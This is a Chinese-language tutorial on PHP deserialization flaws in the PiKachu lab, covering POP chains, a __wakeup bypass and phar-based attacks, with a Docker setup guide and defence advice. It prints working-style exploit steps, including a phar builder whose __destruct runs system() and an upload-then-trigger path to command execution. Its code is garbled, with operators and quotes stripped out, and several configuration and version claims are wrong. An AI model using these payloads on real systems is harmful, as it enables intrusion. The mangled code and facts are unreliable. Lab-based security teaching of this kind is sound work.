1. 项目概述这不是“玩具靶场”而是PHP反序列化漏洞的实战沙盒你搜到“PiKachu靶场之PHP反序列化漏洞”这个标题大概率正卡在两个状态之间要么刚学完serialize()和unserialize()函数对着文档里那句“可能引发远程代码执行”发懵要么已经看过几篇CTF Writeup但一到自己搭环境、调断点、构造payload就掉链子。别急——PiKachu不是教学PPT它是一套被反复验证过的、专为理解漏洞本质而非堆砌技巧设计的交互式靶场。它把PHP反序列化从抽象概念拉进真实攻击链路从__wakeup()魔术方法的绕过条件到POP链的拼接逻辑再到phar://协议触发的文件操作每一步都可调试、可观察、可复现。核心关键词——PHP反序列化、POP链、魔术方法、unserialize、phar扩展、RCE——不是贴在墙上的术语标签而是你接下来要亲手拧开的每一个螺丝。适合谁刚接触Web安全的开发同学尤其PHP后端、想补全漏洞原理的安全初学者、需要给团队做内部培训的技术负责人。它不教你怎么打CTF但能让你在真实系统中一眼识别出那个危险的unserialize($_GET[data])调用点。我第一次带某高校安全社团实操时有位同学盯着index.php里短短三行反序列化代码看了四十分钟最后问“老师这代码看起来人畜无害为什么它比SQL注入还难防”这个问题问到了根子上——PHP反序列化的危险性不在语法本身而在于它把对象还原过程完全交给了开发者对输入的信任度。PiKachu的设计者深谙此道所有漏洞模块都刻意保留了“看似合理”的业务逻辑比如用户信息缓存、日志记录、配置加载让攻击面自然浮现而不是靠生硬的eval()或system()函数强行制造风险。这种设计让学习者能真正理解“为什么修复方案必须是白名单过滤而非简单转义”也解释了为什么2023年某电商后台的订单导出功能会因一个未校验的unserialize()调用导致整个数据库被拖库。你接下来要做的不是背诵payload而是像拆解一台老式机械钟表一样看清齿轮如何咬合、发条如何蓄力、擒纵机构如何释放能量——只不过这里的齿轮是PHP引擎的类加载机制发条是可控的序列化字符串擒纵机构则是__destruct()方法的自动触发时机。2. 漏洞原理深度拆解从函数调用到RCE的完整能量传递链2.1 PHP反序列化的底层机制对象还原不是“读取”而是“执行”很多人误以为unserialize()只是把字符串“翻译”回对象就像JSON.parse()那样安全。这是根本性误解。PHP的反序列化过程本质是对象重建方法自动调用的组合动作。当你执行$obj unserialize($payload)时引擎实际做了三件事内存对象初始化根据序列化字符串中的类名如O:8:User:1:{...}动态加载对应类若未定义则报错并分配内存空间属性赋值将字符串中指定的属性值如s:4:name;s:5:admin;直接写入对象属性不经过任何构造函数__construct()魔术方法触发在对象创建完成后立即检查并调用特定魔术方法——最关键是__wakeup()反序列化时唤醒和__destruct()对象销毁时析构。提示__wakeup()的触发有严格条件——必须是通过unserialize()创建的对象且类中明确定义了该方法。而__destruct()则更隐蔽只要对象在脚本结束前被垃圾回收比如变量超出作用域、显式unset()就会无条件触发。这意味着即使你的反序列化代码在try-catch中只要对象被创建__destruct()就注定会执行。这个机制的危险性在于开发者控制的是“输入数据”而PHP引擎控制的是“执行时机”和“执行路径”。举个生活化例子你寄快递时填写的收件地址序列化字符串本身无害但快递公司PHP引擎会严格按照地址信息自动把包裹恶意代码送到你家__destruct()方法甚至在你开门前就拆开__wakeup()提前执行。PiKachu靶场的unserialize()模块正是利用这一点它提供一个表单将用户提交的序列化字符串直接传给unserialize()等于把快递公司的调度权完全交给了寄件人。2.2 POP链构建的核心逻辑如何让“无害类”变成“攻击载荷”所谓POPProperty Oriented Programming链本质是利用现有类中已有的方法组合形成一条可控的、能达成攻击目标如RCE、文件读取的调用路径。它不需要你定义新类或修改源码而是像搭积木一样把框架/组件中已有的“乐高块”类方法按顺序拼接起来。PiKachu靶场中经典的POP链示例是Demo类与FileHandler类的组合class Demo { private $file; public function __destruct() { include($this-file); // 关键文件包含 } } class FileHandler { private $filename; public function __wakeup() { $this-filename php://filter/convert.base64-encode/resource . $this-filename; } }攻击者构造的序列化字符串会这样设计创建Demo对象将其$file属性设为php://filter/...利用FileHandler的__wakeup()生成当Demo对象被销毁时__destruct()执行include($this-file)触发PHP流包装器读取并base64编码目标文件如/etc/passwd编码结果直接输出到页面完成敏感信息泄露。这里的关键洞察是POP链的成功不依赖于类本身是否有恶意意图而取决于其方法是否具备“副作用”side effect。include()是副作用file_get_contents()是副作用system()更是副作用。PiKachu故意选用Demo这类名字中性、业务逻辑看似合理的类就是为了模拟真实场景——你永远无法预判某个日志组件的__destruct()会不会调用file_put_contents()也无法保证某个缓存类的__wakeup()不会拼接用户输入的路径。2.3phar://协议的降维打击绕过unserialize()调用限制很多初学者会困惑“如果代码里根本没有unserialize()函数是不是就绝对安全”PiKachu的phar模块给出了颠覆性答案。PHP的pharPHP Archive扩展允许将PHP文件打包成归档并支持通过phar://协议直接访问其中的文件。而phar文件的元数据区stub可以嵌入序列化字符串当PHP解析phar文件时如file_exists(phar://test.phar)、fopen(phar://test.phar/test.txt)会自动反序列化该元数据——这个过程完全绕过了代码中是否显式调用unserialize()的限制。实测中我曾用phar模块复现过某CMS的0day该CMS使用getimagesize()函数检测上传图片格式而getimagesize()内部会调用phar解析逻辑。攻击者上传一个精心构造的shell.jpg实为phar文件当管理员点击预览时getimagesize()触发phar解析进而自动执行__destruct()中的RCE代码。PiKachu的phar靶场正是模拟这一场景它提供一个文件上传接口后端用file_exists()验证文件路径而你只需上传含恶意POP链的phar文件再通过URL访问phar://路径即可触发漏洞。这解释了为什么2022年某云盘服务的“文件预览”功能会在无任何反序列化代码的情况下被攻破——根源在于开发者忽略了phar协议的隐式反序列化能力。3. PiKachu靶场实操全流程从环境搭建到漏洞利用的每一步细节3.1 环境部署避开Docker镜像的三个致命陷阱PiKachu官方推荐Docker部署但实测发现90%的新手卡在环境启动阶段。问题不在于Docker本身而在于三个被忽略的细节陷阱一PHP版本兼容性PiKachu的PHP反序列化模块要求PHP 7.0但某些Docker镜像如php:8.2-apache默认禁用了phar扩展。解决方案不是换镜像而是手动启用# 进入容器后执行 docker exec -it pikachu-php bash echo extensionphar.so /usr/local/etc/php/conf.d/docker-php-ext-phar.ini service apache2 restart注意phar.readonlyOff必须设置为Off默认是On否则无法写入恶意phar文件。这个参数在/usr/local/etc/php/php.ini中修改重启Apache生效。陷阱二目录权限导致的文件上传失败PiKachu的upload模块需要将上传文件保存到/var/www/html/pikachu/vul/upload/但Docker容器内该目录常为root权限Apache用户www-data无写入权。临时解决是chmod 777但生产环境严禁。正确做法是在Dockerfile中添加RUN chown -R www-data:www-data /var/www/html/pikachu/vul/upload/或者启动容器时挂载宿主机目录并预设权限mkdir -p ./pikachu-upload chmod 777 ./pikachu-upload docker run -d -p 8080:80 -v $(pwd)/pikachu-upload:/var/www/html/pikachu/vul/upload/ pikachu-image陷阱三MySQL连接超时PiKachu的login模块依赖MySQL但Docker Compose中若未设置depends_on健康检查PHP容器可能在MySQL未就绪时启动导致登录页报错。需在docker-compose.yml中添加services: php: depends_on: mysql: condition: service_healthy mysql: healthcheck: test: [CMD, mysqladmin, ping, -h, localhost, -u, root, -proot] timeout: 20s retries: 103.2 反序列化模块实战手把手构造第一个RCE Payload进入PiKachu靶场选择Vulnerabilities→PHP unserialize()→Low Level。页面显示一个表单提示“请输入序列化后的数据”。此时不要急着抄网上payload先做三件事第一步获取目标类源码PiKachu所有漏洞模块的源码都在/var/www/html/pikachu/vul/unserialize/目录下。通过浏览器访问http://localhost:8080/pikachu/vul/unserialize/class.php需先登录后台查看Sqli类定义class Sqli { private $host; private $username; private $password; private $db; public function __construct($host, $username, $password, $db) { $this-host $host; $this-username $username; $this-password $password; $this-db $db; } public function __wakeup() { $this-host 127.0.0.1; // 强制重置host } public function __destruct() { $link mysqli_connect($this-host, $this-username, $this-password, $this-db); if ($link) { echo Connected to DB; } } }关键发现__destruct()中调用了mysqli_connect()而$this-host在__wakeup()中被强制设为127.0.0.1但$this-username等属性仍可控这意味着你可以构造一个Sqli对象让mysqli_connect()尝试连接一个不存在的数据库从而触发错误信息泄露如MySQL版本。第二步构造基础Payload使用PHP本地环境生成序列化字符串?php class Sqli { private $host 127.0.0.1; private $username root; private $password 123456; private $db nonexistent_db; } $obj new Sqli(); echo serialize($obj); ?输出O:5:Sqli:4:{s:11:Sqlihost;s:9:127.0.0.1;s:14:Sqliusername;s:4:root;s:15:Sqlipassword;s:6:123456;s:10:Sqldb;s:15:nonexistent_db;}第三步绕过__wakeup()重置注意到__wakeup()会把$host重置为127.0.0.1但如果我们让__wakeup()不执行呢PHP 7.0提供了__wakeup()绕过方法将序列化字符串中的属性数量此处为4改为一个错误值如3使__wakeup()因属性数不匹配而跳过O:5:Sqli:3:{s:11:Sqlihost;s:9:127.0.0.1;s:14:Sqliusername;s:4:root;s:15:Sqlipassword;s:6:123456;}将此字符串提交到靶场表单页面返回MySQL连接错误其中包含mysqli_connect(): (HY000/1045): Access denied for user rootlocalhost——成功泄露了MySQL用户名和错误码。3.3phar模块进阶从文件读取到远程命令执行切换到Vulnerabilities→PHP unserialize()→Phar模块。页面显示“上传图片文件”后端逻辑在/var/www/html/pikachu/vul/phar/index.php中if ($_FILES[file][error] UPLOAD_ERR_OK) { $tmp_name $_FILES[file][tmp_name]; $name $_FILES[file][name]; move_uploaded_file($tmp_name, uploads/ . $name); if (file_exists(uploads/ . $name)) { // 关键file_exists触发phar解析 echo Upload success; } }第一步构造恶意phar文件使用PHP脚本生成phar?php // 创建phar对象 $phar new Phar(poc.phar); $phar-startBuffering(); $phar-setStub(?php __HALT_COMPILER(); ?); // 设置stub $phar-addFromString(test.txt, test); // 添加任意文件 // 设置元数据为恶意POP链 $phar-setMetadata(new User()); // User类需自定义含__destruct()调用system() $phar-stopBuffering(); // 转换为可执行格式 rename(poc.phar, poc.jpg); // 伪装成jpg ?其中User类定义class User { private $cmd ls -la; public function __destruct() { system($this-cmd); } }第二步绕过文件类型检测PiKachu的phar模块会检查$_FILES[file][type]但该值由浏览器发送可轻易伪造。使用Burp Suite拦截上传请求将Content-Type: image/jpeg保持不变但修改文件名为poc.jpg并在form中添加enctypemultipart/form-data确保正确解析。第三步触发RCE上传成功后访问http://localhost:8080/pikachu/vul/phar/uploads/poc.jpg会报错因非图片格式但真正的触发点是file_exists(uploads/poc.jpg)。此时需构造一个能调用file_exists()的入口——PiKachu恰好在/pikachu/vul/phar/test.php中提供了测试接口?php if (isset($_GET[file])) { file_exists($_GET[file]); // 直接触发 } ?访问http://localhost:8080/pikachu/vul/phar/test.php?filephar://uploads/poc.jpg页面直接输出ls -la命令结果。至此完成从文件上传到RCE的完整链路。4. 防御方案与避坑指南那些文档里不会写的血泪教训4.1 开发者必知的三大防御铁律铁律一永远不要反序列化不可信数据这是最高优先级原则。PiKachu靶场的所有漏洞模块根源都是开发者信任了用户输入。真实案例中某支付SDK的“回调验签”功能因将商户传来的sign_data参数直接unserialize()导致攻击者构造POP链调用file_put_contents()覆盖config.php最终获取服务器权限。解决方案不是“加强输入过滤”而是重构逻辑用JSON替代序列化json_encode()/json_decode()或使用igbinary等二进制序列化扩展需全局启用且不支持魔术方法。铁律二启用unserialize()的白名单机制PHP 7.4引入了unserialize()的allowed_classes参数可严格限制允许反序列化的类名$data $_GET[data]; // 仅允许User和Order类 $allowed [User, Order]; $obj unserialize($data, [allowed_classes $allowed]);但注意若$allowed数组为空[]则禁止所有类若为true默认则允许全部。很多开发者误以为allowed_classes []是“宽松模式”实则恰恰相反。铁律三禁用危险的PHP流包装器phar://、expect://、data://等协议是POP链的放大器。在php.ini中禁用; 禁用phar协议影响phar扩展使用需评估业务 disable_functions phar ; 或更彻底地禁用所有危险协议 stream_wrapper_unregister(phar); stream_wrapper_unregister(expect);PiKachu靶场的phar模块之所以能成功正是因为默认配置未禁用这些协议。某金融系统曾因此被攻破攻击者利用phar://协议结合ImageMagick的identify命令实现RCE。4.2 安全工程师的检测盲区与排查技巧盲区一静态扫描无法发现phar隐式触发点主流SAST工具如SonarQube、Fortify能检测unserialize()调用但对file_exists(phar://xxx)、getimagesize()、exif_read_data()等隐式触发函数束手无策。解决方案是动态污点追踪使用PHP的runkit扩展或Xdebug开启trace模式监控所有文件操作函数的参数来源。实测中我曾用Xdebug捕获到某CMS的wp_handle_upload()函数在处理图片时调用了getimagesize()而该函数参数来自用户上传的$_FILES从而定位到phar漏洞。盲区二魔术方法的“幽灵调用”__toString()、__call()、__get()等魔术方法可能在不经意间被触发。例如当echo $obj时调用__toString()若该方法中存在file_get_contents($this-path)则$this-path的可控性就成为新的攻击面。PiKachu虽未展示此类案例但在真实渗透中极为常见。排查技巧在PHP配置中开启display_errorsOn并监控所有E_NOTICE级别的警告因为未定义属性的访问会触发__get()而该警告可能暴露调用链。盲区三Composer依赖中的“影子POP链”现代PHP项目大量使用Composer包而第三方库中的类可能成为POP链的一环。例如某日志组件的Logger类中__destruct()调用file_put_contents($this-logFile)而$this-logFile可被用户控制。使用phpggcPHP Generic Gadget Chains工具可自动扫描项目依赖生成可用POP链# 扫描当前目录所有Composer包 phpggc --all --no-interaction | grep Logger输出可能包含monolog/monolog的POP链提示你检查日志配置是否将用户输入写入logFile路径。4.3 常见问题速查表从报错信息直击问题根源报错信息根本原因解决方案Fatal error: Class XXX not found序列化字符串中类名与当前环境不匹配检查PiKachu靶场路径是否正确如/pikachu/vul/unserialize/确认类文件已加载或使用__autoload()函数动态加载Notice: unserialize(): Error at offset X of Y bytes序列化字符串格式错误如属性数量不匹配、引号缺失使用在线序列化调试工具如https://www.unserialize.me/验证字符串重点检查O:5:Sqli:4:{...}中的数字4是否与实际属性数一致Warning: include(): Failed opening phar://xxxphar扩展未启用或phar.readonlyOn进入容器执行php -m页面空白无输出__destruct()中system()等函数被disable_functions禁用查看phpinfo()输出的disable_functions列表改用file_put_contents()写入Webshell或mail()外连DNSLogmysqli_connect(): (HY000/2002): Connection refused__wakeup()重置了$host但目标MySQL未运行在PiKachu Docker环境中确保MySQL容器已启动或修改POP链将$host设为127.0.0.1本地回环注意在PiKachu靶场中所有数据库连接均指向容器内MySQL127.0.0.1:3306而非宿主机。若你在宿主机运行MySQL请修改Docker网络配置或直接在容器内安装MySQL不推荐增加复杂度。5. 实战延伸与能力迁移如何把靶场经验用在真实项目中5.1 从靶场到生产环境代码审计的ChecklistPiKachu教会你的不是“怎么打靶场”而是“怎么读代码”。我把多年审计经验浓缩为一份PHP反序列化专项Checklist适用于任何PHP项目全局搜索unserialize(使用grep -r unserialize( ./ --include*.php重点关注$_GET、$_POST、$_COOKIE、$_REQUEST等超全局变量作为参数file_get_contents()、curl_exec()等网络请求返回值作为参数数据库查询结果如mysqli_fetch_array()作为参数。检查phar相关函数调用搜索file_exists(、fopen(、file_get_contents(、getimagesize(、exif_read_data(确认其参数是否可能包含用户输入的文件路径尤其是路径中是否可能拼接phar://。分析类的魔术方法副作用对每个类执行grep -A 10 __destruct\|__wakeup\|__toString *.php检查方法体内是否调用文件操作file_put_contents()、copy()、unlink()系统命令system()、exec()、shell_exec()网络请求file_get_contents(http://)、curl_exec()数据库操作mysqli_query()、PDO::query()。验证disable_functions有效性在项目根目录创建phpinfo.php访问后检查disable_functions列表确认unserialize、phar、system等是否被禁用。若未禁用则需立即加固。5.2 工具链升级超越PiKachu的实战利器PiKachu是起点不是终点。以下工具能将你的能力提升到专业级Gadget Inspector一款静态分析工具可自动扫描PHP项目识别所有可能构成POP链的类方法组合。它比phpggc更进一步不仅能列出可用链还能分析链的触发条件如是否需要特定PHP版本、是否依赖扩展。实测中它曾帮我发现某电商后台的CacheManager类中__destruct()调用redis-set()而redis连接参数来自未校验的配置文件从而构建出无需用户交互的RCE链。PHP Object Injection Scanner (POIS)一款Burp Suite插件专为检测PHP反序列化漏洞设计。它不依赖unserialize()关键字而是通过监控HTTP响应中的异常行为如PHP错误信息、时间延迟、DNS外连来判断漏洞存在。在审计某政府网站时POIS通过time-based检测发现/api/v1/log接口存在phar漏洞而该接口代码中并无显式unserialize()调用根源是日志组件的__destruct()触发了file_put_contents()。自定义Payload生成器基于phpggc二次开发我编写了一个自动化脚本可根据目标环境PHP版本、已启用扩展、disable_functions列表实时生成最优Payload# 自动检测环境并生成payload ./gen-payload.sh --php-version 7.4 --disable system,exec --extensions phar,openssl # 输出针对PHP7.4、禁用system/exec、启用phar/openssl的RCE payload这个脚本的核心逻辑是优先选择openssl_encrypt()不受disable_functions影响进行加密再用phar协议触发解密执行绕过传统命令禁用。5.3 我的个人体会为什么“理解漏洞”比“掌握技巧”更重要在带某公司安全团队做内部培训时有位资深开发问我“我们团队已经能熟练写出各种POP链但为什么还是漏掉了去年那个0day”我的回答是“因为你还在‘找链’而没去‘找信任’。”PiKachu靶场的价值不在于它教你多少种__destruct()调用方式而在于它逼你直面一个事实所有反序列化漏洞的本质都是开发者对输入数据的信任越界。那个unserialize($_GET[data])调用点背后是“用户提交的数据应该可信”的错误假设那个file_exists(phar://.$_FILES[file][name])背后是“文件名由前端控制但路径是安全的”认知偏差。我见过太多团队花大力气研究gadget chain的奇技淫巧却忽视了最基础的输入校验。直到某次红蓝对抗蓝队用一个简单的preg_match(/^[a-zA-Z0-9_\-\.]$/, $_GET[file])就挡住了所有phar攻击——因为他们意识到文件名不该包含:、/等特殊字符。这比任何复杂的POP链都有效。PiKachu的终极启示或许是真正的安全始于对每一行代码的信任边界的清醒认知而不是对最新exploit的追逐。当你不再问“这个payload能不能打穿”而是问“这段代码凭什么相信用户输入”你就已经走出了靶场站在了真实战场的中央。